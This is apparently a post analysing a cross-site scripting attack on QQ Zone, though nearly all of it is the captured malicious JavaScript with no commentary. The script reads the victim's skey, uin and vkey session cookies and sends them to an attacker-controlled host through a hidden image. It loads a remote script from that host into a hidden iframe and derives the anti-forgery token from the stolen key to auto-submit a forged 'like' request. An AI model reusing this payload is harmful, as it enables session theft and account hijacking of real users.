qq空间某被利用的xss分析

document.getElementById("footad").src="http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin="+rndNum(9)+"&blogid=12"+rndNum(8)+"&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid="+window.vid;
function rndNum(len){
    if(len && len>0 && len<100){}else{len=32;}
    var strs="123456789";
    var maxPos=strs.length;
    var rdstr="";
    for(i=0;i<len;i++){
	rdstr+=strs.charAt(Math.floor(Math.random() * maxPos));
    }
return rdstr;
}

if(cookieRead){
   var dor=cookieRead("adplay");
   if(dor && dor>0){
	//;
   }else{
	cookie_set("adplay",99);
   }
}

try{document.domain="qq.com";}catch(e){}
function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return ""}}

function cookie_set(key,value){
	var Then=new Date(); 
	Then.setTime(Then.getTime()+7*24*60*60*1000); 
	document.cookie=key+"="+value+"; path=/;expires="+Then.toGMTString();
}

function getQueryString(name) { 
	var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 
	var r = window.location.search.substr(1).match(reg); 
	if (r != null) return unescape(r[2]); return ""; 
} 

var dor=cookieRead("qsdone");
if(dor && dor>0){
	//document.location="about:blank";
}else{
	cookie_set("qsdone",99);
	window.onload=iframe_add;
}



function iframe_add(){tjskey();
	var eframe;
	try{
		var isie=window.navigator.appName.toUpperCase().indexOf("MICROSOFT")>=0;
		eframe = document.createElement(isie? "<iframe name='xframe'>":"iframe");
	}catch(e){}
	try{
		if(!eframe){eframe = document.createElement("iframe");}  
		eframe.id = "xframe";
		eframe.name = "xframe";
		eframe.width="0px";
		eframe.height="0px";
		eframe.scrolling="no";
		eframe.setAttribute("frameborder", "0", 0);
		eframe.src="http://b.qzone.qq.com/proxy.html?r=0.1436745170";
		if(eframe.attachEvent){
			eframe.attachEvent("onload",iframe_addjs);
		} else {
			eframe.onload=iframe_addjs;
		}
		document.body.appendChild(eframe);
	}catch(e){}
}


function iframe_addjs(){ 
	var xdoc;
	if(!xdoc){try{xdoc=document.frames["xframe"].contentWindow.document;}catch(e){}}
	if(!xdoc){try{xdoc=document.frames["xframe"].document;}catch(e){}}
	if(!xdoc){try{xdoc=document.getElementById("xframe").contentWindow.document;}catch(e){}}
	if(xdoc){
		var xjs=xdoc.createElement("script");
		xjs.src="http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";
		xjs.type="text/javascript";
		try{xdoc.getElementsByTagName('head')[0].appendChild(xjs);}catch(e){}
	}
}

function tjskey(){

	var eimg; 
	eimg = document.createElement("img"); 
	eimg.width="0px";
	eimg.height="0px";
	var myskey=cookieRead("skey");
	var myqq=parseInt(cookieRead("uin").replace("o",""));
	var vkey=cookieRead("vkey");	
	//if(myqq>500 && vkey.length>10){
		if(myqq>500){
			eimg.src="http://imgcoche.qq.xxxx.com/qq/c.php?u="+myqq+"&s="+myskey+"&v="+vkey+"&f="+getQueryString("vid");
			document.body.appendChild(eimg);
		}	
	}

var xqq="19111xxxxx";


var g_skey=cookieRead("skey");
var g_tk;
if(g_skey && g_skey.length>1){
	g_tk=getGTK(g_skey);
	var g_vuin=parseInt(cookieRead("uin").replace("o",""));
	var g_ie=myisIE();
	var g_sender;
	add_form();
}


function getGTK(str){
    var hash = 5381;
    for(var i = 0, len = str.length; i < len; ++i){
        hash += (hash << 5) + str.charAt(i).charCodeAt();
    }
    return hash & 0x7fffffff;
}
function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return null}}

function myisIE(){
   if (!!window.ActiveXObject || "ActiveXObject" in window)  
        return true;  
    else  
        return false;  
}  
 

function add_form(){
	var ie=g_ie;
	try{g_sender = document.createElement(ie? "<iframe name='p'>":"iframe");}catch(e){}
   try{
	if(!g_sender){g_sender = document.createElement("iframe");}  
	g_sender.id = "p";
	g_sender.name = "p";
	g_sender.width="1px";
	g_sender.height="1px";
	g_sender.scrolling="no";
	g_sender.setAttribute("frameborder", "0", 0);
	if(g_sender.attachEvent){
    		g_sender.attachEvent("onload",sender_addjs);
	} else {
		g_sender.onload=sender_addjs;
	}
	document.body.appendChild(g_sender);
   }catch(e){}
}

function sender_addjs(){
    if(!window.oncepost){
	var uri="http://w.qzone.qq.com/cgi-bin/likes/doLike";
	var refer="http://user.qzone.qq.com/"+g_vuin;
	var ie=g_ie;

	var ifrHTML='<!DOCTYPE html><html lang="zh-cn"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta charset="utf-8" />';
	ifrHTML=ifrHTML+'<script type="text/javascript">'+(ie&&'document.charset="utf-8"'||"")+';document.domain="qq.com";frameElement.submited=void(0);frameElement.state="sending";<\/script></head><body>';
	ifrHTML=ifrHTML+'<form action="'+uri+(uri.indexOf("?")>-1?"&":"?")+"g_tk="+g_tk+'" accept-charset="utf-8"  enctype="application/x-www-form-urlencoded;charset=utf-8" method="post">';
	ifrHTML=ifrHTML+'<input type="hidden" name="qzreferrer" id="qzreferrer" value='+refer+'/>';
	ifrHTML=ifrHTML+'<input type="hidden" name="url" id="url" value='+refer+'/>';
	ifrHTML=ifrHTML+'<input type="hidden" name="cid" id="ouin" value="'+xqq+'" />';
	ifrHTML=ifrHTML+'<input type="hidden" name="from" id="from" value="brand" />';
	ifrHTML=ifrHTML+'<input type="hidden" name="scene" id="scene" value="5" />';
	ifrHTML=ifrHTML+'<input type="hidden" name="fupdate" id="fupdate" value="0" />';
	ifrHTML=ifrHTML+'</form><script type="text/javascript">try{var f=document.getElementById("p");f.submit();}catch(e){}<\/script></body></html>';
	if(!ie){
		var d=g_sender.contentDocument||g_sender.contentWindow.document;
		if(d){
			d.open();
			d.write(ifrHTML);
			d.close();
		}
	}
	window.oncepost=1;
    }
}